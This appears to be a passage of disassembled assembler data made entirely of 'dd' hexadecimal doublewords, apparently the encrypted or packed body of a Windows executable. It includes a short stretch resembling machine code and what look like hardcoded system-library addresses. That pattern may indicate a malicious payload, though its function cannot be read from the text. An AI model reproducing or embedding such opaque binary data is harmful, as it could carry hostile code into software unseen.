0B2C34B94h, 56BCBC8Ch, 0C332CC86h dd 0F68AF0B2h, 466CD89Ah, 0D9E97D77h, 7DE9E3B3h, 67FFD959h dd 0B044D3E2h, 0C1BB8B8Fh, 13456353h, 772E0904h, 8A3h dd 0F5726839h, 0A82523F1h, 59D6D8A4h, 108D8355h, 0C4413F0Ch dd 572495C1h, 9D8DC59h, 0C38E920Fh, 704044C1h, 43D3F976h dd 5CE03FDDh, 0F1663979h, 649982A6h, 540956A9h, 541AEAC0h dd 7A628789h, 0EA70A80Eh, 42047F73h, 4417B7DCh, 0BB8DB31Fh dd 0BB2131C5h, 755BC828h, 0F61C884Ah, 0A8AC292Bh, 946211DDh dd 1A3F410Ch, 0C6460232h, 27825AC0h, 0F4B6795Bh, 0F03288Eh dd 795B27C9h, 0C8C291B7h, 1127BBA3h, 795B37CFh, 0AF1B380Bh dd 7363AA49h, 9E0ACC73h, 17ABAD78h, 0D0CA9A4Eh, 2126262h dd 7C330EB4h, 7FBh, 4DCAC091h, 7D7B49h, 0B12E30FCh, 68E5DBADh dd 1C999764h, 0AF7C4D19h, 613034B1h, 1BE6EA67h, 0C8989C19h dd 9B2B51CEh, 5CE7E735h, 49BE9179h, 980421F4h, 7F56F74h dd 0CB5F1D07h, 95FB5BBBh, 7F73FD47h, 859B2FF1h, 755BC96Eh dd 6D214608h, 2024A19Fh, 8F2F5452h, 1C6AD1B8h, 0CEF27676h dd 9E96FC68h, 0BA795BE3h, 0E34C8CF2h, 0A36E795Bh, 0DC947CA1h dd 0C38FB41Ah, 22F0762Fh, 63C7CF5Ah, 0AE14BCBAh, 5C7CE242h dd 0D8795B3Bh, 1D618216h, 795B3BFBh, 0B7234017h, 5B3B6751h dd 4AC78979h, 557A7846h, 5B3AA761h, 33933779h, 5B3A0FCDh dd 0D3672979h, 0C6941AD3h, 79474BC8h, 0E62567Bh, 0F8795B3Ah dd 51052A2Ch, 7C64897Fh, 587D7F4Ah, 934D067Eh, 76FCB549h dd 3D2DAAA8h, 73D94566h, 795B3AA0h, 7EA410D2h, 1C12E4B2h dd 15A90FF7h, 0C62D584Ch, 5096ED3Ch, 395F1A97h, 0AA5735BBh dd 84000001h, 980421F4h, 5B82C332h, 0A4CDF175h, 1927344Fh dd 0FDEBCFBFh, 0C228052Ah, 0A410D22Eh, 48B4AE7Eh, 31565422h dd 0CA201949h, 57EC6150h, 0CE9EA2C3h, 0BBBBAFD4h, 19F211B6h dd 0A6BA6D91h, 0E6840E6Eh, 58ECE2B4h, 49199F58h, 0FECED24Fh dd 0CDF1DF04h, 40B5D623h, 0EB02788Bh, 0CEC4F23Ch, 3B12D468h dd 0C7999D1Ah, 28F8ACD1h, 0DDADB12Eh, 24CABEE3h, 0B8649178h dd 67C78740h, 89C8DB01h, 79B5D80h, 0EA676131h, 0F71C16E6h dd 1816E309h, 0CAEBC284h, 0C820F85Eh, 40A08089h, 89C802DAh dd 5A35BE80h, 1C6FC6C5h, 0D036A264h, 80896608h, 7AD66A2Ch dd 6A373BB8h, 0B1D6D0A0h, 21F75DC9h, 53808966h, 66062B91h dd 9C026E8Fh, 80896670h, 0B1B532F4h, 557BE7E1h, 2AF38789h dd 86ABA976h, 0E76D26BAh, 897F5117h, 7F4A7C64h, 0A70587Dh dd 0ACAA789Eh, 23F3F718h, 8D640429h, 66D4046Ah, 9E608089h dd 0BE66CC38h, 6808966h, 0AC120EE0h, 8089666Ch, 0B0E04608h dd 0BE0DECEh, 1D790D9Fh, 7AA0DE5Bh, 471DB1ABh, 0A4587D77h dd 0CEB2D7D9h, 2C0365Ah, 0DCAE60FAh, 98F4848h, 0BEC23F39h dd 9BEA2AEEh, 82D27F6h, 0A289F020h, 0E6D4F95Fh, 5EF2F4C0h dd 3CA8C59Ch, 8961F2D6h, 0F8642680h, 61EA3298h, 0CC8E8089h dd 48131738h, 6169D57Ch, 9905AC05h, 8973E533h, 67CD8F80h dd 0AACBA242h, 474B183Eh, 89733BE1h, 157B3D80h, 3D0B7181h dd 0A3808973h, 0F33E597Fh, 0FA3CD4Bh, 595725B3h, 38E04634h dd 3C80892Bh, 31AE147Ah, 1610E0C8h, 0ADD6A999h, 0B954DB41h dd 7ADA755Bh, 5B8AC414h, 1AAE7079h, 6A90FCBEh, 1C209D9Fh dd 8A2A4F51h, 0FE228EB7h, 25697BD1h, 617105B6h, 7307E8FBh dd 0A3C88A73h, 235B6DAFh, 0E3D6A973h, 478397D1h, 0F561C704h dd 0A59F6F95h, 0ED05D339h, 6D2F7323h, 0D92CC3D9h, 6C92790Bh dd 0B00CA09Eh, 395A82E8h, 95646D0Bh, 0D68E769Bh, 0D589AE14h dd 0BD9D0B05h, 3FAA2A48h, 4D1AD64h, 96670000h, 511F23A0h dd 6D2D653h, 0B1838704h, 6D3A3EBBh, 0A3EFF26Fh, 0A878552h dd 0C03D3706h, 72EFF1BCh, 27A49E6Eh, 0CD0B7101h, 67795CE4h dd 82A61F94h, 1403BE4Fh, 0B4760A6Fh dd 0F858C4E1h, 9AC88CD4h, 7206B086h, 5B7B4D5Ch, 79E5A775h dd 33600355h, 58406567h, 9708F28h, 61E1379Dh, 0D193795Bh dd 5D80743Dh, 26795B61h, 0CFAA27E0h, 0E7C15A1Dh, 7Eh, 93ACA014h dd 0D2227F73h, 2DAAA474h, 0DF4B683Dh, 7393AB79h, 0E60BCD7Fh dd 0EB686232h, 9D0926FBh, 7393E937h, 0A4C98B7Fh, 90F656B6h dd 7F739348h, 60B82AECh, 147F7393h, 18E8BE52h, 0DCB1A11Eh dd 89541EEBh, 4FBB2187h, 7393D7E9h, 4267297Fh, 73538A4Eh dd 0CF881C7Fh, 0FF6B885Dh, 0D3E3399Fh, 0D3957F73h, 0F7C92F3Fh dd 97F73D3h, 157BDB47h, 7F73D3C7h, 0FA1BAF71h, 0CFF3h dd 21F4FA00h, 0D3329804h, 0B5755BA7h, 4B1ACEF3h, 0EE4D451h dd 0C52585F1h, 5BBFB95Fh, 65F9BB79h, 5BBF854Fh, 79DFA779h dd 795BBFA3h, 88AD13D5h, 5BBF5F94h, 3DF63C79h, 5957B9C0h dd 1379D9C1h, 795BA7C5h, 1513E16Fh, 812F1BAFh, 5C000000h dd 95011EF4h, 7393E92Fh, 0B7FF8B7Fh, 0F6F8C399h, 10B9E9D1h dd 0DF046A97h, 0E5625C2Bh, 98041FF5h, 737F5E32h, 1480427Fh dd 875721EEh, 4E02278Dh, 881C8280h, 0DBABD1BFh, 0C90F75E1h dd 6B7F737Eh, 0DDFF15A9h, 0CD7F73BEh, 0B563C929h, 0B7F72BEh dd 72BE77A5h, 873F017Fh, 0C92F29F9h, 0A7C3535h, 3DA30F34h dd 7F72BE2Bh, 0F7EDBF4Dh, 187EEAD2h, 7F72BDC0h, 0E04CB274h dd 0C7ECEEBAh, 0C12A4BDFh, 961782A6h, 36DB382Bh, 36FCCCA2h dd 60486D67h, 905F5E30h, 0F55B5FDDh, 0ECBEE2D0h, 524C1C4Eh dd 7015452Dh, 683ED21Dh, 31219E98h, 63C9355Eh, 755BE778h dd 0A593B87Ah, 4BB1AD7Fh, 795BE58Dh, 0EB7FE5A7h, 5BE503D5h dd 0EFEDBB79h, 494B16CAh, 0A2A47024h, 6A24DD3Fh, 7DFAB3F9h dd 0C159A0FCh, 2FBAh, 21F4E700h, 456A6C38h, 2B8BF75Dh dd 739317C5h, 0CB5F217Fh, 0BEC655BBh, 2EF0755Bh, 86C31509h dd 76BC795Bh, 443940BDh, 0F17DC159h, 0AA000000h, 0F11610E0h dd 4D72703Dh, 0AACFC999h, 0C02C26F6h, 6E6C3A60h, 29EF6149h dd 4B7F7393h, 98175989h, 0CED8CC29h, 23D5193Ah, 0DB7F7325h dd 3734470Bh, 0BE735AE8h, 58BEC08Ch, 4107D7DBh, 6B537872h dd 6C4399FFh, 33F57F73h, 94BAA8CDh, 7133C7C9h, 0E509759Eh dd 0A64D88BBh, 5868FC84h, 5B539BF2h, 54234975h, 0B94D355Ah dd 92F9B5Dh, 2F173C3Eh, 163C7A9Bh, 0F5B74B49h, 71950122h dd 5FC1C4AFh, 97A73BCCh, 74E5AA31h, 9E04CC73h, 7327FD7Eh dd 66D238FAh, 0F8757340h, 0BB2927F4h, 0B4068CA9h, 0D4C17853h dd 6A000001h, 2226A399h, 0D5D95654h, 868A0709h, 3D41BEB4h dd 0F2F57270h, 8A8855A4h, 403A090Dh, 0F2F4BFC3h, 0A7A17175h dd 0E74042Ah, 795CE9CEh, 0E022976Ah, 5A981513h, 41666834h dd 1FEFC559h, 0FB95B925h, 0CDA5AD4Bh, 0DF4869FDh, 834482A6h dd 0FF2F31FCh, 8317E33Fh, 59C5EEC1h, 5B3164F3h, 0DFB6DA75h dd 0A12E0BDBh, 0D949FB66h, 444366A9h, 0FAC654B0h, 7F6D92F8h dd 0DF65255Bh, 871B0EBBh, 5BCDAF71h, 19D21879h, 598DDD9Ch dd 0ACD9C1h, 0E0060000h, 3F11610h, 7E1210DDh, 71DDDBA8h dd 0E9B7794Bh, 786085EBh, 0CD2D1BE4h, 7393B167h, 7C7E497Fh dd 0F5B76F57h, 8EA94B61h, 81517F73h, 36060A87h, 0A477173Ch dd 0DEAD137Fh, 0B8755BA0h, 0B68979F6h, 30FB218Dh, 8D21092Eh dd 263177Dh, 4F117375h, 0BD2383E3h, 7321451Fh, 0C3B98B19h dd 26F3C95Dh, 0DAA7AB28h, 34706EDCh, 21FCB400h, 0D26Ah dd 0A1976800h, 54522024h, 507D3D7h, 0BCB28488h, 706E3B3Fh dd 53A2F0F3h, 70B8886h, 0BDC13E38h, 6F73F0F2h, 228A59Fh dd 0E8CC0C72h, 9568795Ch, 1513E020h, 0CAC49498h, 80A6E44Dh dd 0AA92B7B1h, 76704016h, 0D3CD9D51h, 0A8936656h, 8627C477h dd 0E7AE07Eh, 228F1FA8h, 0E349A975h, 7943C835h, 8DE97D3Fh dd 43630FFh, 2C143937h, 53B3A1C6h, 43C82FEDh, 0F3874979h dd 0E7534D1Dh, 5FF3F5C1h, 706A3A3Eh, 0A9395D4Bh, 0B28D57C7h dd 5FBFD569h, 0BDCF8EB0h, 36068C45h, 0EBBBBF3Ch, 0BF2585F1h dd 278FB119h, 1ED6D4A1h, 11FFC85Ch, 17A401EDh, 6F038683h dd 0ACD1C799h, 0D934CE0h, 0C2C6433Dh, 1CD3F8F2h, 0Bh, 0B380A623h dd 0B8B683B5h, 0E0A8F524h, 40F4190Fh, 9D517670h, 0F7ABD0D2h dd 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h dd 0FFD4F9F7h, 81E68956h, 4C6h, 4EE8300h, 2474FF56h, 48F5E04h dd 0AB685C24h, 89000012h, 0B468240Ch, 8900005Ah, 5655241Ch dd 0A47B65BEh, 0C1E6D122h, 0C14605E6h, 0C68106E6h, 0CF39C05Bh dd 0B95EF589h, 0EF3F5F66h, 685DE901h, 590Eh, 81242489h dd 42404h, 815B0000h, 4ECh, 240C8900h, 0ED242C81h, 8F5E3302h dd 43810843h, 3302ED08h, 241C8B5Eh, 5E08950h, 4, 405h dd 24048700h, 240C8B5Ch, 81E18951h, 4C1h, 4C18100h, 87000000h dd 0E95C240Ch, 0FFF902CDh, 2BAE847h, 29F714E4h, 6FB8EE37h dd 3062F7Ch, 0F9E0FFC5h, 32584F18h, 6E49C8B6h, 224CCDE1h dd 0C33761E1h, 9B7FBE9Ch, 9B3C4C39h, 3373E9B1h, 8A405F19h dd 0E84EE678h, 12h, 9B7F9880h, 0D43AE8C7h, 0D8FAB6A6h dd 40ED3571h, 0BF0F7951h, 0C88A5ADFh, 0E8BEC281h, 0E3810000h dd 69BB668Fh, 8E0FF633h, 2, 34FF03B0h, 820F5216h, 3, 58DABF0Fh dd 2890F5Fh, 0B5000000h, 82C78140h, 0FC0C3AB3h, 3748C781h dd 0E18075F1h, 90F7815Ch, 6624D081h, 8D5AE181h, 0E8323C89h dd 7, 3C239731h, 0FC287A4h, 38Dh, 0C7BF0F00h, 0D6EE8158h dd 0F4EE43Dh, 28Eh, 81C28A00h, 0E43DD2C6h, 81CB8A4Eh, 0FF17DCFEh dd 93850FFFh, 66FFFFFFh, 0FE8DF8Bh, 0A6000000h, 61F8D5ECh dd 4169811Fh, 2A278FEAh, 0C281FCCFh, 300A6A99h, 2D22B95Bh dd 0C3816819h, 6747h, 58EFB456h, 0C38BF633h, 8B333C8Bh dd 47C781C1h, 0F3EB87Ch, 0C781C7B7h, 1D1FE14Fh, 59A3B650h dd 63A5C781h, 0B70F4C14h, 333C89CEh, 0C08155B0h, 118F78CFh dd 0F04EE83h, 0FE81C9BFh, 0FFFF9948h, 18850Fh, 80600000h dd 815751C6h, 0EE5AA6F3h, 0E9615A07h, 1Ah, 58C0FCADh, 0DE8053A4h dd 0FFA2E9BEh, 354FFFFh, 0A54E331Fh, 43F45940h, 8D8D3F54h dd 62F7F19h, 89D38B66h, 2807158Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 6C661343h dd 85C780CBh, 62821BDh, 5924h, 6890Fh, 95330000h, 6282F01h dd 113D85C7h, 628h, 0BB660000h, 0B5FF0650h, 62801BDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4BC35646h, 31DDA808h dd 2826B195h, 0D995FF06h, 9062814h, 28095995h, 0DDE08106h dd 6A3CDA25h, 6595FF00h, 8B062804h, 1938EBC0h, 24EA61Ch dd 908DE8B0h, 95387CDEh, 0D0273573h, 0CBB91A53h, 4F84989Fh dd 35453BF8h, 2F20D759h, 2C458090h, 0FC016A48h, 76C6D0D4h dd 857D45B3h, 0FCAE5FA0h, 0E9F70ADBh, 0ECh, 0 dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h dd 77E60000h, 2, 5 dup(0) dd 77E7A5FDh, 2Ch dup(0) dd 6, 0BB118AC7h, 3D4D4226h, 32157794h, 32198F88h, 68A6644h dd 18DDF515h, 0BADE123Bh, 8F966573h, 343D670Dh, 0B11C1322h dd 1A01A3ACh, 2B61668Eh, 0F29E3514h, 3211779Ah, 0A390EF11h dd 0BF134E8Ah, 18B038D9h, 69C69924h, 0F7A8E549h, 32134E9Ch dd 61457130h, 3211779Ah, 0A390EF11h, 0BF134E8Ah, 18B72BD9h dd 69C69924h, 39FC0649h, 31156688h, 0CB819A05h, 0FDB9BF34h dd 54752DFFh, 7CA0B703h, 38FC0725h, 0FC156622h, 0D8859FE7h dd 5DCAEC0h, 9840E4Ah, 2E9C6622h, 0BBD6EF35h, 0BD1A3D50h dd 32156655h, 32156ACBh, 0A661BB11h, 0FFE5BA99h, 0C4B58005h dd 45A8E589h, 3213496Eh, 3245E287h, 54756644h, 52E8429Bh dd 565EAD90h, 8A734651h, 5374E354h, 0F73E3AFh, 6075603Eh dd 321C8FD7h, 21186644h, 0EFD455AAh, 5319E09Fh, 3AFCB677h dd 64156644h, 1DF5FBB8h, 0BFA48DC1h, 1D28F00Dh, 0E2EA9A42h dd 34FC9342h, 50156611h, 2A1CEB8Bh, 0B7D307C8h, 343D6B07h dd 32128F47h, 0C6F16688h, 8B141728h, 259F69C2h, 0DB156611h dd 3215669Ah, 451C5486h, 41279A15h, 0D2384179h, 0E40E88D7h dd 607D5115h, 3D89CE9Ah, 32156791h, 23FC9E88h, 0CA156644h dd 7B537C1Ch, 0D8BA6535h, 87F5C545h, 0B8D6651Ch, 2618D3DDh dd 38FC6039h, 0D3156688h, 9BD94858h, 0D3EC3F3Dh, 6A90EB09h dd 52134DE7h, 321563ADh, 0EA03A022h, 53EDA84Ch, 3206E187h dd 3CFC6644h, 68156622h, 0FF16443Fh, 4ABE06AAh, 0DCD106F1h dd 0C7C59990h, 3219E41Eh, 0B41A6688h, 32156642h, 3215EF2Dh dd 0B79C6611h, 343D6989h, 32156BADh, 0F46FC322h, 56610BC9h dd 30FB32ECh, 0B7D28C54h, 343D55BFh, 32156611h, 0F7FADCE8h dd 851A39FFh, 0B7D307F0h, 343D6B34h, 339F69CDh, 0CA156644h dd 407C0F4Ah, 339B699Fh, 0CA156688h, 1FC0D3BBh, 0B41A600Ah dd 32156610h, 8990EB7Dh, 0CE134E7Fh, 0BBE0B6DDh, 1A0DD794h dd 3A92698Eh, 3D156644h, 321564ACh, 0F4740611h, 1A18430Dh dd 0B51A2542h, 32156625h, 3214EA1Eh, 3DED6688h, 321567C7h dd 6C7D9A22h, 5289017Ah, 32157760h, 0F8408744h, 85828335h dd 87389CFCh, 0AD89190Bh, 20FC3B27h, 0CB156622h, 6273195Ch dd 42D4FA61h, 0ACD95332h, 0ED9E764Bh, 0B3733EA0h, 53FC3D43h dd 1FC0D3BBh, 0DBE0600Ah, 3215661Eh, 0C21F9CF0h, 0A0D4484Fh dd 0F79BFC83h, 0BFDBF40Dh, 1A2EDD0Dh, 39FD0642h, 9156622h dd 647D8A7Ah, 114BF969h, 0E1943171h, 18094A4Ch, 32068F4Eh dd 2BDB6688h, 0E1908825h, 0C5387AACh, 0F718F8D9h, 51023E11h dd 0E2EA0711h, 0DFFAE742h, 54044430h, 0FFE9609h, 2C9A6925h dd 3D156622h, 32157E99h, 32068F88h, 22A96644h, 0D2161A6h dd 4B65DFFh, 0F3350F06h, 8304C5C8h, 6D90EF37h, 0CA13496Eh dd 3F30E34Eh, 0CB41606Ch, 507D4F4Ah, 339469FFh, 0CA156688h dd 1FC0D3BBh, 0BFE0600Ah, 1A2EDD94h, 3596698Eh, 3D156644h dd 321567A1h, 0E2EA9A11h, 32157761h, 25A8D244h, 7F4E628Ch dd 0A8F7CFC8h, 8736B809h, 0B79C4EDDh, 343A1941h, 3214E01Eh dd 0F4EC6688h, 1A1843C1h, 61752324h, 32156AF8h, 0E5A4E588h dd 0CB85988Ch, 0ADEF6138h, 83AC3CE0h, 5336CFCEh, 522DA42Ch dd 0F99406F8h, 3CB25F52h, 0C626DEEEh, 0E7A09925h, 0CA134E0Fh dd 9AEE39Ch, 3DE960A0h, 321562C8h, 0E39E0622h, 0CAC59970h dd 0A3A1D8E8h, 0B0AE19C7h, 531DF6EEh, 4D72E398h, 0B1E960A7h dd 1A3173F9h, 0B71A6624h, 32156720h, 320EEF87h, 0BD1A6644h dd 32156637h, 321576F8h, 0D4CA2C88h, 0C62EFF22h, 33B8A297h dd 0AC3A28CCh, 97AB06A2h, 0B93EED42h, 0B7D307D9h, 343D6B34h dd 32188FCDh, 3CFB6644h, 2F0D16C1h, 13F69304h, 5AA12DA7h dd 0C83518C2h, 0E7A099DBh, 3D134E3Ch, 3215630Bh, 851A0644h dd 0B79807FCh, 343D5DAAh, 32156061h, 0F62B944h, 0CD9795F4h dd 32188FC1h, 0A7816688h, 7D72BDF3h, 9D767767h, 0CE6B3FDBh dd 4D7EE301h, 0F4E9606Bh, 1A1843A7h, 52752A17h, 537539DAh dd 0B1FEE725h, 5345C698h, 14C5A579h, 3C996968h, 52156644h dd 3215E72Dh, 0F4946611h, 0FEDA49Dh, 0B3730625h, 81CE6EC5h dd 87EA0741h, 343D4B5Dh, 321575ADh, 0C7176322h, 0BB621DFBh dd 81166E54h, 0EAA71BE4h, 0B1949F9Bh, 9AEE39Ch, 3DFC60A0h dd 0E0156644h, 9986EE51h, 0E9CBCF5Ch, 816961F4h, 0E2EA622Fh dd 5D90EFDEh, 5213496Eh, 6CE6DFDFh, 0DB4E28ABh, 32156624h dd 64F112FCh, 0DB74C4CDh, 32156749h, 321572CBh, 160CCD11h dd 1BC408DBh, 7F7E5C5Dh, 0CB7191CBh, 0E661FBD7h, 1790A000h dd 60134E49h, 0D6180ED7h, 37FCDA5Bh, 40156688h, 6F60C8F2h dd 3B24D3DDh, 0DA756039h, 32156683h, 31450645h, 7AF6C019h dd 0B3ED7ADAh, 913B8F7Fh, 0B9733D4Eh, 0B79807F3h, 343D5DAAh dd 32156A61h, 0B8759D44h, 2EFCB6BFh, 4A95287h, 0DBC599F9h dd 32156654h, 0A185DEBDh, 50573D62h, 90DFB83Eh, 0E7D49D12h dd 4D7EE3ABh, 0F4E9603Eh, 1A18430Dh, 3EFC3442h, 50156622h dd 0E0E64048h, 0C59166FAh, 5A5CEE5Dh, 94592C6Ah, 321DE61Eh dd 3D756688h, 321566C9h, 87EA0722h, 343D6F20h, 0C4A269E8h dd 0BA98EFFBh, 0B7980711h, 343D5DAAh, 3210E887h, 0B2756644h dd 0CD74ABE1h, 0B11A06C1h, 32156688h, 53DDED22h, 0FCA26942h dd 0D0940071h, 53756369h, 0B79C0725h, 343A194Dh, 3206EB1Eh dd 3CFC6688h, 4156644h, 1855A676h, 229C45C3h, 51A545E3h dd 1790A078h, 60134E2Fh, 0CCAA6971h, 5AEC0771h, 0CF57D2AEh dd 0E7A099DBh, 0CE134E3Ch, 321DE987h, 54756644h, 2E73A8A3h dd 0B79807EDh, 343D5D33h, 3214E74Bh, 0CDE96622h, 0B79C9AC1h dd 343D41ADh, 3219ED4Bh, 0B01A6622h, 32156617h, 3215EF87h dd 0B7D36644h, 343D6B07h, 321B8F66h, 650F6688h, 2819D299h dd 9DEB677Eh, 8E80952Eh, 0A5BDC5E0h, 0DA759EB7h, 32156632h dd 0DD6CC8E3h, 0ACD46411h, 0C38D0400h, 1BCF7B85h, 0FEC4E777h dd 26FC3EC1h, 95156644h, 7F426C19h, 0EB9D6F8Ch, 0E5EE4A16h dd 0D07DEEA6h, 539C6981h, 2558D3EEh, 0B37560A0h, 1E4F8C8Dh dd 0DE7E70Ah, 530A73B7h, 9AEE305h, 22FC606Ch, 0A1156622h dd 0D14FFADDh, 28834C54h, 0B30377EAh, 0CD0AFF20h, 32108FC1h dd 7F796688h, 0BBBE4590h, 1A1BDBA7h, 33956917h, 0CB156688h dd 3F30E382h, 0DB47600Ah, 3215661Ch, 196A0E93h, 75739A2Fh dd 0AFF402BDh, 3020E64h, 0BF1AEC55h, 3215664Ch, 3217E02Dh dd 53756611h, 1FC0D377h, 35FC606Ch, 0CE156622h, 0D03E9ECEh dd 0B798D11Ch, 343D5DFFh, 3211E42Dh, 83756611h, 35FC07DEh dd 0EC156644h, 0F50BC61Ch, 0E2EA7BE4h, 3203EA87h, 23FC6644h dd 0D6156622h, 6683C4Fh, 2CE9A555h, 1158B30Fh, 436A6890h dd 1F40E398h, 0B81A60A0h, 32156643h, 3214E32Dh, 0F4E96611h dd 1A18430Dh, 0B2753042h, 37FC93F1h, 6F156611h, 1D8E413Eh dd 5F2C0E25h, 0DBE9B23Dh, 32156605h, 0A9AEA1BCh, 7373F857h dd 86D3C8EBh, 0CD86DAAEh, 0B68E08B5h, 2618D3BBh, 0B61A600Ah dd 32156603h, 32156B61h, 0D071A44h, 1D4F461Eh, 9619187Bh dd 0B7983A1Fh, 343E091Ch, 53753542h, 25AF0048h, 0E2EA075Dh dd 0C99E0024h, 3390EF43h, 3D134E1Fh, 32156708h, 0B7D39F44h dd 343D6B07h, 0B9730656h, 53A5D256h, 0EE051C2Ch, 339C69A3h dd 0CA156611h dd 1FC0D377h, 0DB75606Ch, 3215662Ah, 1A29E1FFh, 0B243DF27h dd 0BF7495CFh, 1A2EDDA7h, 54750617h, 3DFF9130h, 0CE749EF3h dd 52C59943h, 321569F8h, 3044588h, 0E1920D60h, 5E81E712h dd 89360200h, 32157761h, 0AFEEA444h, 60F8B9B5h, 0AB7D83DFh dd 6FF1372Dh, 0CB749126h, 3DF4E3ABh, 3DE96039h, 3215610Fh dd 33996944h, 0CE156622h, 3F30E3D7h, 0CB5260A0h, 3DA0842Ch dd 0B94406A8h, 3D7438D2h, 3215610Eh, 33916944h, 0C7156622h dd 1FC0D3EEh, 547560A0h, 0A40A86C5h, 321568CBh, 0DDEE0211h dd 867BA03h, 75FD4CD2h, 5371F8C3h, 9AEE39Ch, 38FC60A0h dd 0B156644h, 0EF9E1801h, 70020751h, 0CBC599CEh, 4D9AE3CDh dd 0B81A600Dh, 32156617h, 877406E8h, 0B7D207ACh, 343D542Fh dd 32156669h, 0C59400E8h, 3D751B79h, 321566A8h, 32976911h dd 53156688h, 13A8E525h, 32134E35h, 2ABBE21Eh, 64756688h dd 3215E64Bh, 0B94C6622h, 0B7D307C7h, 343D6BADh, 321A8F08h dd 95906622h, 5F8C46C0h, 0B405C8E3h, 0AE9A3EAh, 2EFC0E37h dd 0B61ABFCBh, 3215668Fh, 83E3E624h, 0CD749BA8h, 1A38B3A4h dd 34FC068Eh, 0F3156644h, 2E971281h, 32936910h, 53156688h dd 9AEE3C9h, 0B375600Ah, 650A12F9h, 0F19E00B8h, 52C59925h dd 236BB9Dh, 8BA4DC1Ah, 0BB741B5Fh, 1D6A1DC1h, 39FD0624h dd 0A8156611h, 12743545h, 1584398Dh, 0EA9496EEh, 3C9578C4h dd 0F47493D0h, 1A1843C1h, 26FC2A24h, 83156611h, 0D1652F3h dd 964C76A3h, 0D91935E0h, 63F2D00Ch, 5A5AA53Eh, 0EF61B88Ah dd 0E7A099DEh, 0DB134E3Ch, 32156686h, 970C6CF9h, 0AB5470F3h dd 99AA84Dh, 0B798DADAh, 343D5DFFh, 32156BCBh, 2CA25411h dd 0E5341DA4h, 0FABB15BCh, 0E2EA7EDDh, 54C6ED71h, 53680236h dd 4D6AE3CDh, 0B21A600Dh, 32156610h, 1790A070h, 7E134E49h dd 3202E92Dh, 0DB756611h, 32156683h, 0AD4E68D2h, 0CCA45E0Ah dd 8A67ECCEh, 6C6B561Bh, 0D7D9A25h, 3DA2E7A0h, 3215639Ch dd 63E00688h, 0CDE9071Ch, 1A38B397h, 32138F17h, 0D10E6688h dd 155FC5ABh, 8990EBD7h, 3D134E2Ah, 32156708h, 0BC1A9A44h dd 3215663Eh, 3203EC1Eh, 23FC6688h, 36156644h, 0E513EF53h dd 0E19C02D6h, 7078007Ah, 0AD8FEE70h, 37FCB6DDh, 9A156611h dd 58A09C2Dh, 4D96E3CDh, 5275600Dh, 32156BF9h, 0C6986288h dd 1E98CAD3h, 0EC6D48F2h, 534A8E45h, 0A0D5E7EEh, 0B7D30772h dd 343D6B07h, 321B8F5Dh, 98076688h, 5419D1Fh, 9E190011h dd 0C5C621h, 1D557EE0h, 321F8FF7h, 75DF6622h, 817422A2h dd 0ADB69436h, 1FC0D3BBh, 0BE1A600Ah, 3215661Fh, 37FD9EE8h dd 0A8156644h, 9695CF15h, 22FC074Eh, 3A156688h, 9C9B53ACh dd 9980465Fh, 85D3A54Eh, 0BFA5885Ah, 1A2EDDC1h, 0B3730624h dd 0DB418CF6h, 3215669Bh, 0CD519713h, 197EBE86h, 6AA2FA06h dd 0FD9249Dh, 53FBDEA9h, 3EFCB6DDh, 69156611h, 7CCDF75Eh dd 48474778h, 0BB78646Fh, 1D6AE594h, 0B7D3938Eh, 343D6B61h dd 8B730664h, 3D745F71h, 32156A0Fh, 32128F44h, 0E73D6622h dd 6A01F19Dh, 34010EC0h, 0CDECDC9Ah, 1A38B397h, 0B7989F17h dd 343D5D33h, 321E8F24h, 343A6622h, 5EE39DBCh, 40AD07F3h dd 1CAF007Ah, 0E2EA0734h, 0B990EFE4h, 521349F7h, 9FD7DF24h dd 53ED5C93h, 0F7AF9E71h, 5316D533h, 0B7D39A25h, 343D6B07h dd 53ED0656h, 0EE051CE0h, 0B97506C5h, 2FFEE7F4h, 535EFBB7h dd 87EA0774h, 343D4B91h, 31986942h, 0B2156611h, 0BA1A4652h dd 3215664Fh, 321560CBh, 0A7A4F711h, 5381838Ah, 321577ADh dd 0F135922h, 84077BFEh, 86E78F06h, 22D1744Fh, 0B798717Eh dd 343D5DAAh, 321DEE87h, 0B2756644h, 851A17FCh, 3FFC07D3h dd 0B0156688h, 0F46FC36Ch, 56610BFAh, 30FB3275h, 0BBE9B677h dd 1D6AF5C1h, 0B01A0624h, 32156617h, 3215EB87h, 88736644h dd 0F4741DB3h, 1A184394h, 5475218Eh, 523661FEh, 32156DCBh dd 67FA0311h, 7BD928A0h, 0A31F4336h, 321563CBh, 3619B811h dd 53743819h, 0B59BCA2Ch, 321F8FCDh, 29D56611h, 0E1F31478h dd 0A20EC625h, 1FC0D3DDh, 3CFC6039h, 1D156688h, 897E2E47h dd 80BB5B9Dh, 3478C4BAh, 2391697Bh, 0DB156644h, 3215662Eh dd 7FF6E748h, 0C225BAD9h, 16CE40F5h, 9AEE3AFh, 0BF1A6039h dd 32156689h, 3DC599B1h, 321571AAh, 239C6911h, 0DB156688h dd 32156648h, 0CDD3DDC6h, 0E22DF7A7h, 939725F2h, 4D82E3CDh dd 0B975600Dh, 0B7D307CEh, 343D6BADh, 22986903h, 0DB156622h dd 3215661Ah, 0FE875C3Eh, 0D2517A9h, 5A7FE528h, 0E68FC1C3h dd 0E7A09970h, 3D134E69h, 321577AEh, 32198F11h, 5F046688h dd 0FE3C8CF7h, 0F6BC4510h, 0B798AC30h, 343D5D33h, 32058F24h dd 98266622h, 127E09A3h, 18DF30FBh, 8E2D0B50h, 0CD74E578h dd 0B79C9AC1h, 343A1913h, 3201E14Bh, 3DFC6622h, 0CA156611h dd 195B67C4h, 5BF718ACh, 0DE09998Eh, 0B7D32C1Ah, 343D6BADh dd 0FF950603h, 0DAE00639h, 32156605h, 2D3ED534h, 0F692E0AFh dd 0FF46BFD5h, 9FF8F6E3h, 20167F58h, 3D74071Fh, 321568A8h dd 0D3940611h, 663ED15Eh, 3215E74Bh, 5A746622h, 88D45F15h dd 32138EE8h, 0BABA6644h, 6C0CB3ADh, 3215E21Eh, 0DB4B6688h dd 32156641h, 0AD118499h, 87EA070Ah, 343D4B5Dh, 8990EBBCh dd 3D134E19h, 32157597h, 321B8F88h, 1B7C6644h, 526035A3h dd 0DA023195h, 26E2FF22h, 21FCB6BBh, 0AD156622h, 95DEC754h 